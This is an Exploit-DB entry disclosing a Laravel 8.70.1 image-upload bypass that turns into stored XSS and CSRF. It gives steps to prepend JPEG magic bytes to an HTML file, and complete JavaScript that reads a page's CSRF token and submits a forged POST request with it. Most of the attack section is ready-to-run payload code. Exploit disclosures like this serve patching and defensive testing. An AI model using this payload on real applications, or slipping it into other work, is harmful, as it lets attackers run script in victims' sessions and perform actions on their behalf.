PHP Laravel 8.70.1 - Cross Site Scripting (XSS) to Cross Site Request Forgery (CSRF)

EDB-ID:

50525




Platform:

PHP

Date:

2021-11-15


# Exploit Title: PHP Laravel 8.70.1 - Cross Site Scripting (XSS) to Cross Site Request Forgery (CSRF)
# Date: 14/11/2021
# Exploit Author: Hosein Vita
# Vendor Homepage: https://laravel.com/
# Software Link: https://laravel.com/docs/4.2
# Version: Laravel Framework 8.70.1
# Tested on: Windows/Linux

# Description: We can bypass laravel image file upload functionality to upload arbitary files on the web server
# which let us run arbitary javascript and bypass the csrf token , For more information read this one https://hosein-vita.medium.com/laravel-8-x-image-upload-bypass-zero-day-852bd806019b

# Steps to reproduce:
1- Use HxD tool and add FF D8 FF E0 at the very begining of your file
2- Use code below to bypass csrf token

ÿØÿà<html>
<head>
<title>Laravel Csrf Bypass</title>
</head>
<body>
<script>
function submitFormWithTokenJS(token) {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", POST_URL, true);

    // Send the proper header information along with the request
    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

    // This is for debugging and can be removed
    xhr.onreadystatechange = function() {
        if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
            console.log(xhr.responseText);
        }
    }
	//
    xhr.send("_token=" + token + "&desiredParameter=desiredValue");
}

function getTokenJS() {
    var xhr = new XMLHttpRequest();
    // This tels it to return it as a HTML document
    xhr.responseType = "document";
    // true on the end of here makes the call asynchronous
	//Edit the path as you want
    xhr.open("GET", "/image-upload", true);
    xhr.onload = function (e) {
        if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
            // Get the document from the response
            page = xhr.response
            // Get the input element
            input = page.getElementsByTagName("input")[0];
            // Show the token
            alert("The token is: " + input.value);
            // Use the token to submit the form
            submitFormWithTokenJS(input.value);
        }
    };
    // Make the request
    xhr.send(null);
}
getTokenJS();

var POST_URL="/"
getTokenJS();

</script>
</html>

3- Save it as Html file and upload it.